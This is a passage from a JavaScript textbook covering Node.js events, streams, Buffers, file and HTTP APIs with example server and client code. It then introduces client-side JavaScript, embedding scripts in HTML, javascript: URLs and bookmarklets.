Because Node's functions and methods are asynchronous, they do not block while waiting for operations to complete. The return value of a nonblocking method cannot return the result of an asynchronous operation to you. If you need to obtain results, or just need to know when an operation is complete, you have to provide a function that Node can invoke when the results are ready or when the operation is complete (or when an error occurs). In some cases (as in the call to `setTimeout()` above), you simply pass the function as an argument and Node will call it at the appropriate time. In other cases, you can rely on Node's event infrastructure. Node objects that generate events (known as event *emitters*) define an `on()` method for registering handlers. Pass the event type (a string) as the first argument, and pass the handler function as the second argument. Different types of events pass different arguments to the handler function, and you may need to refer to the API documentation to know exactly how to write your handlers:

```
emitter.on(name, f)          // Register f to handle name events from emitter
emitter.addListener(name, f) // Ditto: addListener() is a synonym for on()
emitter.once(name, f)        // One-time only, then f is automatically removed
emitter.listeners(name)      // Return an array of handler functions
emitter.removeListener(name, f)  // Deregister event handler f
emitter.removeAllListeners(name) // Remove all handlers for name events
```

The `process` object shown above is an event emitter. Here are example handlers for some of its events:

```
// The "exit" event is sent before Node exits.
process.on("exit", function() { console.log("Goodbye"); });

// Uncaught exceptions generate events, if any handlers are registered.
// Otherwise, the exception just makes Node print an error and exit.
process.on("uncaughtException", function(e) { console.log(Exception, e); });
```

```
// POSIX signals like SIGINT, SIGHUP and SIGTERM generate events
process.on("SIGINT", function() { console.log("Ignored Ctrl-C"); });
```

Since Node is designed for high-performance I/O, its stream API is a commonly used one. Readable streams trigger events when data is ready. In the code below, assume `s` is a readable stream, obtained elsewhere. We'll see how to get stream objects for files and network sockets below:

```
// Input stream s:
s.on("data", f);    // When data is available, pass it as an argument to f()
s.on("end", f);     // "end" event fired on EOF when no more data will arrive
s.on("error", f);   // If something goes wrong, pass exception to f()
s.readable          // => true if it is a readable stream that is still open
s.pause();          // Pause "data" events.  For throttling uploads, e.g.
s.resume();         // Resume again

// Specify an encoding if you want strings passed to "data" event handler
s.setEncoding(enc); // How to decode bytes: "utf8", "ascii", or "base64"
```

Writable streams are less event-centric than readable streams. Use the `write()` method to send data and use the `end()` method to close the stream when all the data has been written. The `write()` method never blocks. If Node cannot write the data immediately and has to buffer it internally, the `write()` method returns `false`. Register a handler for "drain" events if you need to know when Node's buffer has been flushed and the data has actually been written:

```
// Output stream s:
s.write(buffer);          // Write binary data
s.write(string, encoding) // Write string data. encoding defaults to "utf-8"
s.end()                   // Close the stream.
s.end(buffer);            // Write final chunk of binary data and close.
s.end(str, encoding)      // Write final string and close all in one
s.writeable;              // true if the stream is still open and writeable
s.on("drain", f)          // Call f() when internal buffer becomes empty
```

As you can see in the code above, Node's streams can work with binary data or textual data. Text is transferred using regular JavaScript strings. Bytes are manipulated using a Node-specific type known as a Buffer. Node's buffers are fixed-length array-like objects whose elements must be numbers between 0 and 255. Node programs can often treat buffers as opaque chunks of data, reading them from one stream and writing them to another. But the bytes in a buffer can be accessed as array elements, and there are methods for copying bytes from one buffer to another, for obtaining slices of an underlying buffer, for writing strings into a buffer using a specified encoding, and for decoding a buffer or a portion of a buffer back to a string:

```
var bytes = new Buffer(256);          // Create a new buffer of 256 bytes
for(var i = 0; i < bytes.length; i++) // Loop through the indexes
    bytes[i] = i;                     // Set each element of the buffer
var end = bytes.slice(240, 256);      // Create a new view of the buffer
end[0]                                // => 240: end[0] is bytes[240]
end[0] = 0;                           // Modify an element of the slice
bytes[240]                            // => 0: underlying buffer modified, too
var more = new Buffer(8);             // Create a separate new buffer
```

```
end.copy(more, 0, 8, 16);            // Copy elements 8-15 of end[] into more[]
more[0]                              // => 248

// Buffers also do binary <=> text conversion
// Valid encodings: "utf8", "ascii" and "base64". "utf8" is the default.
var buf = new Buffer("2πr", "utf8");  // Encode text to bytes using UTF-8
buf.length                           // => 3 characters take 4 bytes
buf.toString()                       // => "2πr": back to text
buf = new Buffer(10);                // Start with a new fixed-length buffer
var len = buf.write("πr²", 4);       // Write text to it, starting at byte 4
buf.toString("utf8",4, 4+len)        // => "πr²": decode a range of bytes
```

Node's file and filesystem API is in the "fs" module:

```
var fs = require("fs"); // Load the filesystem API
```

This module provides synchronous versions of most of its methods. Any method whose name ends with "Sync" is a blocking method that returns a value or throws an exception. Filesystem methods that do not end with "Sync" are nonblocking methods that pass their result or error to the callback function you specify. The following code shows how to read a text file using a blocking method and how to read a binary file using the nonblocking method:

```
// Synchronously read a file. Pass an encoding to get text instead of bytes.
var text = fs.readFileSync("config.json", "utf8");

// Asynchronously read a binary file.  Pass a function to get the data
fs.readFile("image.png", function(err, buffer) {
    if (err) throw err;  // If anything went wrong
    process(buffer);     // File contents are in buffer
});
```

Similar `writeFile()` and `writeFileSync()` functions exist for writing files:

```
fs.writeFile("config.json", JSON.stringify(userprefs));
```

The functions shown above treat the contents of the file as a single string or Buffer. Node also defines a streaming API for reading and writing files. The function below copies one file to another:

```
// File copy with streaming API.
// Pass a callback if you want to know when it is done
function fileCopy(filename1, filename2, done) {
    var input = fs.createReadStream(filename1);          // Input stream
    var output = fs.createWriteStream(filename2);        // Output stream

    input.on("data", function(d) { output.write(d); });  // Copy in to out
    input.on("error", function(err) { throw err; });     // Raise errors
    input.on("end", function() {                         // When input ends
        output.end();                                    // close output
        if (done) done();                                // And notify callback
    });
}
```

The "fs" module also includes a number of methods for listing directories, querying file attributes, and so on. The Node program below uses synchronous methods to list the contents of a directory, along with file size and modification date:

```
#! /usr/local/bin/node
var fs = require("fs"), path = require("path");     // Load the modules we need
var dir = process.cwd();                            // Current directory
if (process.argv.length > 2) dir = process.argv[2]; // Or from the command line
var files = fs.readdirSync(dir);                    // Read directory contents
process.stdout.write("Name\tSize\tDate\n");         // Output a header
files.forEach(function(filename) {                  // For each file name
    var fullname = path.join(dir,filename);         // Join dir and name
    var stats = fs.statSync(fullname);              // Get file attributes
    if (stats.isDirectory()) filename += "/";       // Mark subdirectories
    process.stdout.write(filename + "\t" +          // Output file name plus
                         stats.size + "\t" +        //   file size plus
                         stats.mtime + "\n");       //   modification time
});
```

Note the `#!` comment on the first line above. This is a Unix "shebang" comment used to make a script file like this self-executable by specifying what language interpreter to run it with. Node ignores lines like this when they appear as the first line of the file.

The "net" module is an API for TCP-based networking. (See the "dgram" module for datagram-based networking.) Here's a very simple TCP server in Node:

```
// A simple TCP echo server in Node: it listens for connections on port 2000
// and echoes the client's data back to it.
var net = require('net');
var server = net.createServer();
server.listen(2000, function() { console.log("Listening on port 2000"); });
server.on("connection", function(stream) {
    console.log("Accepting connection from", stream.remoteAddress);
    stream.on("data", function(data) { stream.write(data); });
    stream.on("end", function(data) { console.log("Connection closed"); });
});
```

In addition to the basic "net" module, Node has built-in support for the HTTP protocol using the "http" module. The examples that follow demonstrate it in more detail.

12.2.1 Node Example: HTTP Server

Example 12-2 is a simple HTTP server in Node. It serves files from the current directory and also implements two special-purpose URLs that it handles specially. It uses Node's "http" module and also uses the file and stream APIs demonstrated earlier. Example 18-17 in Chapter 18 is a similar specialized HTTP server example.

Example 12-2. An HTTP server in Node

```
// This is a simple NodeJS HTTP server that can serve files from the current
// directory and also implements two special URLs for testing.
// Connect to the server at http://localhost:8000 or http://127.0.0.1:8000

// First, load the modules we'll be using
```

```
var http = require('http');      // HTTP server API
var fs = require('fs');          // For working with local files

var server = new http.Server();  // Create a new HTTP server
server.listen(8000);             // Run it on port 8000.

// Node uses the "on()" method to register event handlers.
// When the server gets a new request, run this function to handle it.
server.on("request", function (request, response) {
    // Parse the requested URL
    var url = require('url').parse(request.url);

    // A special URL that just makes the server wait before sending the
    // response. This can be useful to simulate a slow network connection.
    if (url.pathname === "/test/delay") {
        // Use query string for delay amount, or 2000 milliseconds
        var delay = parseInt(url.query) || 2000;
        // Set the response status code and headers
        response.writeHead(200, {"Content-Type": "text/plain; charset=UTF-8"});
        // Start writing the response body right away
        response.write("Sleeping for " + delay + " milliseconds...");
        // And then finish it in another function invoked later.
        setTimeout(function() {
            response.write("done.");
            response.end();
        }, delay);
    }
    // If the request was for "/test/mirror", send back the request verbatim.
    // Useful when you need to see the request headers and body.
    else if (url.pathname === "/test/mirror") {
        // Response status and headers
        response.writeHead(200, {"Content-Type": "text/plain; charset=UTF-8"});
        // Begin the response body with the request
        response.write(request.method + " " + request.url +
                       " HTTP/" + request.httpVersion + "\r\n");
        // And the request headers
        for(var h in request.headers) {
            response.write(h + ": " + request.headers[h] + "\r\n");
        }
        response.write("\r\n");  // End headers with an extra blank line

        // We complete the response in these event handler functions:
        // When a chunk of the request body, add it to the response.
        request.on("data", function(chunk) { response.write(chunk); });
        // When the request ends, the response is done, too.
        request.on("end", function(chunk) { response.end(); });
    }
    // Otherwise, serve a file from the local directory.
    else {
        // Get local filename and guess its content type based on its extension.
        var filename = url.pathname.substring(1); // strip leading /
        var type;
        switch(filename.substring(filename.lastIndexOf(".")+1))  { // extension
        case "html":
        case "htm":      type = "text/html; charset=UTF-8"; break;
        case "js":       type = "application/javascript; charset=UTF-8"; break;
```

```
        case "css":      type = "text/css; charset=UTF-8"; break;
        case "txt" :     type = "text/plain; charset=UTF-8"; break;
        case "manifest": type = "text/cache-manifest; charset=UTF-8"; break;
        default:         type = "application/octet-stream"; break;
        }

        // Read the file asynchronously and pass the content as a single
        // chunk to the callback function. For really large files, using the
        // streaming API with fs.createReadStream() would be better.
        fs.readFile(filename, function(err, content) {
            if (err) {  // If we couldn't read the file for some reason
                response.writeHead(404, {    // Send a 404 Not Found status
                    "Content-Type": "text/plain; charset=UTF-8"});
                response.write(err.message); // Simple error message body
                response.end();              // Done
            }
            else {      // Otherwise, if the file was read successfully.
                response.writeHead(200,  // Set the status code and MIME type
                                   {"Content-Type": type});
                response.write(content); // Send file contents as response body
                response.end();          // And we're done
            }
        });
    }
});
```

12.2.2 Node Example: HTTP Client Utilities Module

Example 12-3 uses the "http" module to define utility functions for issuing HTTP GET and POST requests. The example is structured as an "httputils" module, which you might use in your own code like this:

```
var httputils = require("./httputils");  // Note no ".js" suffix
httputils.get(url, function(status, headers, body) { console.log(body); });
```

The `require()` function does not execute module code with an ordinary `eval()`. Modules are evaluated in a special environment so that they cannot define any global variables or otherwise alter the global namespace. This special module evaluation environment always includes a global object named `exports`. Modules export their API by defining properties in this object.[2]

Example 12-3. Node "httputils" module

```
//
// An "httputils" module for Node.
//

// Make an asynchronous HTTP GET request for the specified URL and pass the
// HTTP status, headers and response body to the specified callback function.
// Notice how we export this method through the exports object.
exports.get = function(url, callback) {
```

2. Node implements the CommonJS module contract, which you can read about at *http://www.commonjs.org/specs/modules/1.0/*.

```
    // Parse the URL and get the pieces we need from it
    url = require('url').parse(url);
    var hostname = url.hostname, port = url.port || 80;
    var path = url.pathname, query = url.query;
    if (query) path += "?" + query;

    // Make a simple GET request
    var client = require("http").createClient(port, hostname);
    var request = client.request("GET", path, {
        "Host": hostname    // Request headers
    });
    request.end();

    // A function to handle the response when it starts to arrive
    request.on("response", function(response) {
        // Set an encoding so the body is returned as text, not bytes
        response.setEncoding("utf8");
        // Save the response body as it arrives
        var body = ""
        response.on("data", function(chunk) { body += chunk; });
        // When response is complete, call the callback
        response.on("end", function() {
            if (callback) callback(response.statusCode, response.headers, body);
        });
    });
};

// Simple HTTP POST request with data as the request body
exports.post = function(url, data, callback) {
    // Parse the URL and get the pieces we need from it
    url = require('url').parse(url);
    var hostname = url.hostname, port = url.port || 80;
    var path = url.pathname, query = url.query;
    if (query) path += "?" + query;

    // Figure out the type of data we're sending as the request body
    var type;
    if (data == null) data = "";
    if (data instanceof Buffer)             // Binary data
        type = "application/octet-stream";
    else if (typeof data === "string")      // String data
        type = "text/plain; charset=UTF-8";
    else if (typeof data === "object") {    // Name=value pairs
        data = require("querystring").stringify(data);
        type = "application/x-www-form-urlencoded";
    }

    // Make a POST request, including a request body
    var client = require("http").createClient(port, hostname);
    var request = client.request("POST", path, {
        "Host": hostname,
        "Content-Type": type
    });
    request.write(data);                        // Send request body
    request.end();
    request.on("response", function(response) { // Handle the response
```

```
        response.setEncoding("utf8");           // Assume it is text
        var body = ""                           // To save the response body
        response.on("data", function(chunk) { body += chunk; });
        response.on("end", function() {         // When done, call the callback
            if (callback) callback(response.statusCode, response.headers, body);
        });
    });
};
```

PART II

Client-Side JavaScript

This part of the book, Chapters 13 through 22, documents JavaScript as it is implemented in web browsers. These chapters introduce a variety of scriptable objects that represent web browser windows, documents and document content. They also explain important web application APIs for networking, storing and retrieving data, and drawing graphics:

Chapter 13, *JavaScript in Web Browsers*
Chapter 14, *The Window Object*
Chapter 15, *Scripting Documents*
Chapter 16, *Scripting CSS*
Chapter 17, *Handling Events*
Chapter 18, *Scripted HTTP*
Chapter 19, *The jQuery Library*
Chapter 20, *Client-Side Storage*
Chapter 21, *Scripted Media and Graphics*
Chapter 22, *HTML5 APIs*

CHAPTER 13

JavaScript in Web Browsers

The first part of this book described the core JavaScript language. We now move on to JavaScript as used within web browsers, commonly called client-side JavaScript. Most of the examples we've seen so far, while legal JavaScript code, have no particular context; they are JavaScript fragments that run in no specified environment. This chapter provides that context.

Before we begin talking about JavaScript, it is worth thinking about the web pages we display in web browsers. Some pages present static information and can be called documents. (The presentation of that static information may be fairly dynamic—because of JavaScript—but the information itself is static.) Other web pages feel more like applications than documents. These pages might dynamically load new information as needed, they might be graphical rather than textual, and they might operate offline and save data locally so they can restore your state when you visit them again. Still other web pages sit somewhere in the middle of the spectrum and combine features of both documents and applications.

This chapter begins with an overview of client-side JavaScript. It includes a simple example and a discussion of the role of JavaScript in both web documents and web applications. That first introductory section also explains what is coming in the Part II chapters that follow. The sections that follow explain some important details about how JavaScript code is embedded and executed within HTML documents, and then they introduce the topics of compatibility, accessibility, and security.

13.1 Client-Side JavaScript

The Window object is the main entry point to all client-side JavaScript features and APIs. It represents a web browser window or frame, and you can refer to it with the identifier `window`. The Window object defines properties like `location`, which refers to a Location object that specifies the URL currently displayed in the window and allows a script to load a new URL into the window:

```
// Set the location property to navigate to a new web page
window.location = "http://www.oreilly.com/";
```

The Window object also defines methods like `alert()`, which displays a message in a dialog box, and `setTimeout()`, which registers a function to be invoked after a specified amount of time:

```
// Wait 2 seconds and then say hello
setTimeout(function() { alert("hello world"); }, 2000);
```

Notice that the code above does not explicitly use the `window` property. In client-side JavaScript, the Window object is also the global object. This means that the Window object is at the top of the scope chain and that its properties and methods are effectively global variables and global functions. The Window object has a property named `window` that always refers to itself. You can use this property if you need to refer to the window object itself, but it is not usually necessary to use `window` if you just want to refer to access properties of the global window object.

There are a number of other important properties, methods, and constructors defined by the Window object. See Chapter 14 for complete details.

One of the most important properties of the Window object is `document`: it refers to a Document object that represents the content displayed in the window. The Document object has important methods such as `getElementById()`, which returns a single document element (representing an open/close pair of HTML tags and all of the content between them) based on the value of its `id` attribute:

```
// Find the element with id="timestamp"
var timestamp = document.getElementById("timestamp");
```

The Element object returned by `getElementById()` has other important properties and methods that allow scripts to get its content, set the value of its attributes, and so on:

```
// If the element is empty, then insert the current date and time into it
if (timestamp.firstChild == null)
    timestamp.appendChild(document.createTextNode(new Date().toString()));
```

Techniques for querying, traversing, and modifying document content are covered in Chapter 15.

Each Element object has `style` and `className` properties that allow scripts to specify CSS styles for a document element or to alter the CSS class names that apply to the element. Setting these CSS-related properties alters the presentation of the document element:

```
// Explicitly alter the presentation of the heading element
timestamp.style.backgroundColor = "yellow";

// Or just change the class and let the stylesheet specify the details:
timestamp.className = "highlight";
```

The `style` and `className` properties, as well as other techniques for scripting CSS, are covered in Chapter 16.

Another set of important properties on Window, Document, and Element objects are the event handler properties. These allow scripts to specify functions that should be invoked asynchronously when certain events occur. Event handlers allow JavaScript code to alter the *behavior* of windows, of documents, and of the elements that make up those documents. Event handler properties have names that begin with the word "on", and you might use them like this:

```
// Update the content of the timestamp element when the user clicks on it
timestamp.onclick = function() { this.innerHTML = new Date().toString(); }
```

One of the most important event handlers is the `onload` handler of the Window object. It is triggered when the content of the document displayed in the window is stable and ready to be manipulated. JavaScript code is commonly wrapped within an `onload` event handler. Events are the subject of Chapter 17. Example 13-1 demonstrates the `onload` handler and shows more client-side JavaScript code that queries document elements, alters CSS classes, and defines event handlers. The HTML `<script>` element holds the JavaScript code of this example and is explained in §13.2. Note that the code includes a function defined within another function. Nested functions are common in client-side JavaScript, because of its extensive use of event handlers.

Example 13-1. Simple client-side JavaScript for revealing content

```
<!DOCTYPE html>
<html>
<head>
<style>
/* CSS styles for this page */
.reveal * { display: none; }  /* Children of class="reveal" are  not shown */
.reveal *.handle { display: block;} /* Except for the class="handle" child */
</style>
<script>
// Don't do anything until the entire document has loaded
window.onload = function() {
    // Find all container elements with class "reveal"
    var elements = document.getElementsByClassName("reveal");
    for(var i = 0; i < elements.length; i++) {  // For each one...
        var elt = elements[i];
        // Find the "handle" element with the container
        var title = elt.getElementsByClassName("handle")[0];
        // When that element is clicked, reveal the rest of the content
        title.onclick = function() {
            if (elt.className == "reveal") elt.className = "revealed";
            else if (elt.className == "revealed") elt.className = "reveal";
        }
    }
};
</script>
</head>
<body>
<div class="reveal">
<h1 class="handle">Click Here to Reveal Hidden Text</h1>
<p>This paragraph is hidden. It appears when you click on the title.</p>
</div>
```

```
</body>
</html>
```

We noted in the introduction to this chapter that some web pages feel like documents and some feel like applications. The two subsections that follow explore the use of JavaScript in each kind of web page.

13.1.1 JavaScript in Web Documents

A JavaScript program can traverse and manipulate document *content* through the Document object and the Element objects it contains. It can alter the *presentation* of that content by scripting CSS styles and classes. And it can define the *behavior* of document elements by registering appropriate event handlers. The combination of scriptable content, presentation, and behavior is called Dynamic HTML or DHTML, and techniques for creating DHTML documents are explained in Chapters 15, 16, and 17.

The use of JavaScript in web documents should usually be restrained and understated. The proper role of JavaScript is to enhance a user's browsing experience, making it easier to obtain or transmit information. The user's experience should not be dependent on JavaScript, but JavaScript can help to facilitate that experience, for example by:

- Creating animations and other visual effects to subtly guide a user and help with page navigation
- Sorting the columns of a table to make it easier for a user to find what she needs
- Hiding certain content and revealing details progressively as the user "drills down" into that content

13.1.2 JavaScript in Web Applications

Web applications use all of the JavaScript DHTML features that web documents do, but they also go beyond these content, presentation, and behavior manipulation APIs to take advantage of other fundamental services provided by the web browser environment.

To really understand web applications, it is important to realize that web browsers have grown well beyond their original role as tools for displaying documents and have transformed themselves into simple operating systems. Consider: a traditional operating system allows you to organize icons (which represent files and applications) on the desktop and in folders. A web browser allows you to organize bookmarks (which represent documents and web applications) in a toolbar and in folders. An OS runs multiple applications in separate windows; a web browser displays multiple documents (or applications) in separate tabs. An OS defines low-level APIs for networking, drawing graphics, and saving files. Web browsers define low-level APIs for networking (Chapter 18), saving data (Chapter 20), and drawing graphics (Chapter 21).

With this notion of web browser as simplified OS in mind, we can define web applications as web pages that use JavaScript to access the more advanced services (such as

networking, graphics, and data storage) offered by browsers. The best known of these advanced services is the XMLHttpRequest object, which enables networking through scripted HTTP requests. Web apps use this service to obtain new information from the server without a page reload. Web applications that do this are commonly called Ajax applications and they form the backbone of what is known as "Web 2.0." XMLHttpRequest is covered in detail in Chapter 18.

The HTML5 specification (which, at the time of this writing, is still in draft form) and related specifications are defining a number of other important APIs for web apps. These include the data storage and graphics APIs of Chapters 21 and 20 as well as APIs for a number of other features, such as geolocation, history management, and background threads. When implemented, these APIs will enable a further evolution of web application capabilities. They are covered in Chapter 22.

JavaScript is more central to web applications than it is to web documents, of course. JavaScript enhances web documents, but a well-designed document will continue to work with JavaScript disabled. Web applications are, by definition, JavaScript programs that use the OS-type services provided by the web browser, and they would not be expected to work with JavaScript disabled.[1]

13.2 Embedding JavaScript in HTML

Client-side JavaScript code is embedded within HTML documents in four ways:

- Inline, between a pair of `<script>` and `</script>` tags
- From an external file specified by the `src` attribute of a `<script>` tag
- In an HTML event handler attribute, such as `onclick` or `onmouseover`
- In a URL that uses the special `javascript:` protocol.

The subsections that follow explain each of these four JavaScript embedding techniques. It is worth noting, however, that HTML event handler attributes and `javascript:` URLs are rarely used in modern JavaScript code (they were somewhat common in the early days of the Web). Inline scripts (those without a `src` attribute) are also less common than they once were. A programming philosophy known as *unobtrusive JavaScript* argues that content (HTML) and behavior (JavaScript code) should as much as possible be kept separate. According to this programming philosophy, JavaScript is best embedded in HTML documents using `<script>` elements with `src` attributes.

1. Interactive web pages that communicate with server-side CGI scripts through HTML form submissions were the original "web application" and can be written without the use of JavaScript. This is not the kind of web application that we'll be discussing in this book, however.

13.2.1 The <script> Element

JavaScript code can appear inline within an HTML file between `<script>` and `</script>` tags:

```
<script>
// Your JavaScript code goes here
</script>
```

In XHTML, the content of a `<script>` element is treated like any other content. If your JavaScript code contains the `<` or `&` characters, these characters are interpreted as XML markup. For this reason, it is best to put all JavaScript code within a CDATA section if you are using XHTML:

```
<script><![CDATA[
// Your JavaScript code goes here
]]></script>
```

Example 13-2 is an HTML file that includes a simple JavaScript program. The comments explain what the program does, but the main point of this example is to demonstrate how JavaScript code is embedded within an HTML file along with, in this case, a CSS stylesheet. Notice that this example has a structure similar to Example 13-1 and uses the `onload` event handler in much the same way as that example did.

Example 13-2. A simple JavaScript digital clock

```
<!DOCTYPE html>                <!-- This is an HTML5 file -->
<html>                         <!-- The root element -->
<head>                         <!-- Title, scripts & styles go here -->
<title>Digital Clock</title>
<script>                       // A script of js code
// Define a function to display the current time
function displayTime() {
    var elt = document.getElementById("clock");  // Find element with id="clock"
    var now = new Date();                        // Get current time
    elt.innerHTML = now.toLocaleTimeString();    // Make elt display it
    setTimeout(displayTime, 1000);               // Run again in 1 second
}
window.onload = displayTime;  // Start displaying the time when document loads.
</script>
<style>                        /* A CSS stylesheet for the clock */
#clock {                       /* Style apply to element with id="clock" */
  font: bold 24pt sans;        /* Use a big bold font */
  background: #ddf;            /* On a light bluish-gray background */
  padding: 10px;               /* Surround it with some space */
  border: solid black 2px;     /* And a solid black border */
  border-radius: 10px;         /* Round the corners (where supported) */
}
</style>
</head>
<body>                     <!-- The body is the displayed parts of the doc. -->
<h1>Digital Clock</h1>     <!-- Display a title -->
<span id="clock"></span>   <!-- The time gets inserted here -->
</body>
</html>
```

13.2.2 Scripts in External Files

The `<script>` tag supports a `src` attribute that specifies the URL of a file containing JavaScript code. It is used like this:

```
<script src="../../scripts/util.js"></script>
```

A JavaScript file contains pure JavaScript, without `<script>` tags or any other HTML. By convention, files of JavaScript code have names that end with *.js*.

A `<script>` tag with the `src` attribute specified behaves exactly as if the contents of the specified JavaScript file appeared directly between the `<script>` and `</script>` tags. Note that the closing `</script>` tag is required in HTML documents even when the `src` attribute is specified, and there is no content between the `<script>` and `</script>` tags. In XHTML, you can use the shortcut `<script/>` tag in this case.

When you use the `src` attribute, any content between the opening and closing `<script>` tags is ignored. If desired, you can use the content of the `<script>` tag to include documentation or copyright information for the included code. Note, however, that HTML5 validators will complain if any text that is not whitespace or a JavaScript comment appears between `<script src="">` and `</script>`.

There are a number of advantages to using the `src` attribute:

- It simplifies your HTML files by allowing you to remove large blocks of JavaScript code from them—that is, it helps keep content and behavior separate.
- When multiple web pages share the same JavaScript code, using the `src` attribute allows you to maintain only a single copy of that code, rather than having to edit each HTML file when the code changes.
- If a file of JavaScript code is shared by more than one page, it only needs to be downloaded once, by the first page that uses it—subsequent pages can retrieve it from the browser cache.
- Because the `src` attribute takes an arbitrary URL as its value, a JavaScript program or web page from one web server can employ code exported by other web servers. Much Internet advertising relies on this fact.
- The ability to load scripts from other sites allows us to take the benefits of caching a step further: Google is promoting the use of standard well-known URLs for the most commonly used client-side libraries, allowing the browser to cache a single copy for shared use by any site across the Web. Linking to JavaScript code on Google servers can decrease the start-up time for your web pages, since the library is likely to already exist in the user's browser cache, but you must be willing to trust a third-party to serve code that is critical to your site. See *http://code.google.com/apis/ajaxlibs/* for more information.

Loading scripts from servers other than the one that served the document that uses the script has important security implications. The same-origin security policy described in §13.6.2 prevents JavaScript in a document from one domain from interacting with

content from another domain. However, notice that the origin of the script itself does not matter: only the origin of the document in which the script is embedded. Therefore, the same-origin policy does not apply in this case: JavaScript code can interact with the document in which it is embedded, even when the code has a different origin than the document. When you use the `src` attribute to include a script in your page, you are giving the author of that script (and the webmaster of the domain from which the script is loaded) complete control over your web page.

13.2.3 Script Type

JavaScript was the original scripting language for the Web and `<script>` elements are, by default, assumed to contain or to reference JavaScript code. If you want to use a nonstandard scripting language, such as Microsoft's VBScript (which is supported by IE only), you must use the `type` attribute to specify the script MIME type:

```
<script type="text/vbscript">
' VBScript code goes here
</script>
```

The default value of the `type` attribute is "text/javascript". You can specify this type explicitly if you want, but it is never necessary.

Older browsers used a `language` attribute on the `<script>` tag instead of the `type` attribute, and you may still sometimes see web pages that include tags like this:

```
<script language="javascript">
// JavaScript code here...
</script>
```

The `language` attribute is deprecated and should no longer be used.

When a web browser encounters a `<script>` element with a `type` attribute whose value it does not recognize, it parses the element but does not attempt to display or execute that content. This means that you can use the `<script>` element to embed arbitrary textual data into your document: just use the `type` attribute to specify a non-executable type for your data. To retrieve the data, you can use the `text` property of the `HTMLElement` object that represents the script element (Chapter 15 explains how to obtain these elements). Note, however, that this data embedding technique only works for inline scripts. If you specify a `src` attribute and an unknown `type`, the script will be ignored and nothing will be downloaded from the URL you specified.

13.2.4 Event Handlers in HTML

JavaScript code in a script is executed once: when the HTML file that contains it is loaded into the web browser. In order to be interactive, a JavaScript program must define event handlers—JavaScript functions that are registered with the web browser and then invoked by the web browser in response to events (such as user input). As shown at the start of this chapter, JavaScript code can register an event handler by assigning a function to a property (such as `onclick` or `onmouseover`) of an Element object

that represents an HTML element in the document. (There are also other ways to register event handlers—see Chapter 17.)

Event handler properties like `onclick` mirror HTML attributes with the same names, and it is also possible to define event handlers by placing JavaScript code in HTML attributes. For example, to define an event handler that is invoked when the user toggles a checkbox in a form, you can specify the handler code as an attribute of the HTML element that defines the checkbox:

```
<input type="checkbox" name="options" value="giftwrap"
       onchange="order.options.giftwrap = this.checked;">
```

What's of interest here is the `onchange` attribute. The JavaScript code that is the value of this attribute will be executed whenever the user checks or unchecks the checkbox.

Event handler attributes defined in HTML may include any number of JavaScript statements, separated from each other by semicolons. These statements become the body of a function, and that function becomes the value of the corresponding event handler property. (The details of the conversion of HTML attribute text to a JavaScript function are covered in §17.2.2.) Typically, however, an HTML event handler attribute consists of a simple assignment as above or a simple invocation of a function defined elsewhere. This keeps most of your actual JavaScript code within scripts and reduces the need to mingle JavaScript and HTML. In fact, the use of HTML event handler attributes is considered poor style by many web developers who prefer to keep content and behavior separate.

13.2.5 JavaScript in URLs

Another way that JavaScript code can be included on the client side is in a URL following the `javascript:` protocol specifier. This special protocol type specifies that the body of the URL is an arbitrary string of JavaScript code to be run by the JavaScript interpreter. It is treated as a single line of code, which means that statements must be separated by semicolons and that `/* */` comments must be used in place of `//` comments. The "resource" identified by a `javascript:` URL is the return value of the executed code, converted to a string. If the code has an `undefined` return value, the resource has no content.

You can use a `javascript:` URL anywhere you'd use a regular URL: the `href` attribute of an `<a>` tag, the `action` attribute of a `<form>`, for example, or even as an argument to a method like `window.open()`. A JavaScript URL in a hyperlink might look like this:

```
<a href="javascript:new Date().toLocaleTimeString();">
What time is it?
</a>
```

Some browsers (such as Firefox) execute the code in the URL and use the returned string as the content of a new document to display. Just as when following a link to an `http:` URL, the browser erases the current document and displays the new one. The value returned by the code above does not contain any HTML tags, but if it did, the

browser would have rendered them as it would have rendered the equivalent conventionally loaded HTML document. Other browsers (such as Chrome and Safari) do not allow URLs like the one above to overwrite the containing document—they just ignore the return value of the code. They do, however, still support URLs like this one:

```
<a href="javascript:alert(new Date().toLocaleTimeString());">
Check the time without overwriting the document
</a>
```

When this sort of URL is loaded, the browser executes the JavaScript code, but because there is no returned value (the `alert()` method returns `undefined`), browsers like Firefox do not replace the currently displayed document. (In this case, the `javascript:` URL serves the same purpose as an `onclick` event handler. The link above would be better expressed as an `onclick` handler on a `<button>` element—the `<a>` element should generally be reserved for hyperlinks that load new documents.) If you want to ensure that a `javascript:` URL does not overwrite the document, you can use the `void` operator to force an invocation or assignment expression to be `undefined`:

```
<a href="javascript:void window.open('about:blank');">Open Window</a>
```

Without the `void` operator in this URL, the return value of the `Window.open()` method call would (in some browsers) be converted to a string and displayed, and the current document would be overwritten by a document that contains this text:

```
[object Window]
```

Like HTML event handler attributes, JavaScript URLs are a holdover from the early days of the Web and are generally avoided in modern HTML. `javascript:` URLs do have a useful role to play *outside* of HTML documents. If you need to test a small snippet of JavaScript code, you can type a `javascript:` URL directly into the location bar of your browser. Another legitimate (and powerful) use of `javascript:` URLs is in browser bookmarks, as described below.

13.2.5.1 Bookmarklets

In a web browser, a "bookmark" is a saved URL. If you bookmark a `javascript:` URL, you are saving a small script, known as a *bookmarklet*. A bookmarklet is a mini-program that can be easily launched from the browser's menus or toolbar. The code in a bookmarklet runs as if it were a script on the page and can query and set document content, presentation, and behavior. As long as a bookmarklet does not return a value, it can operate on whatever document is currently displayed without replacing that document with new content.

Consider the following `javascript:` URL in an `<a>` tag. Clicking the link opens a simple JavaScript expression evaluator that allows you to evaluate expressions and execute statements in the context of the page:

```
<a href='javascript:
  var e = "", r = ""; /* Expression to evaluate and the result */
  do {
      /* Display expression and result and ask for a new expression */
```

```
        e = prompt("Expression: " + e + "\n" + r + "\n", e);
        try { r = "Result: " + eval(e); } /* Try to evaluate the expression */
        catch(ex) { r = ex; }             /* Or remember the error instead  */
    } while(e);  /* Continue until no expression entered or Cancel clicked */
    void 0;      /* This prevents the current document from being overwritten */
    '>
  JavaScript Evaluator
  </a>
```

Note that even though this JavaScript URL is written across multiple lines, the HTML parser treats it as a single line, and single-line `//` comments will not work in it. Also, remember that the code is all part of a single-quoted HTML attribute, so the code may not contain any single quotes.

A link like this is useful when hardcoded into a page that you are developing but becomes much more useful when stored as a bookmark that you can run on any page. Browsers typically allow you to bookmark the destination of a hyperlink by right-clicking on the link and selecting something like Bookmark Link or by dragging the link to your bookmarks toolbar.

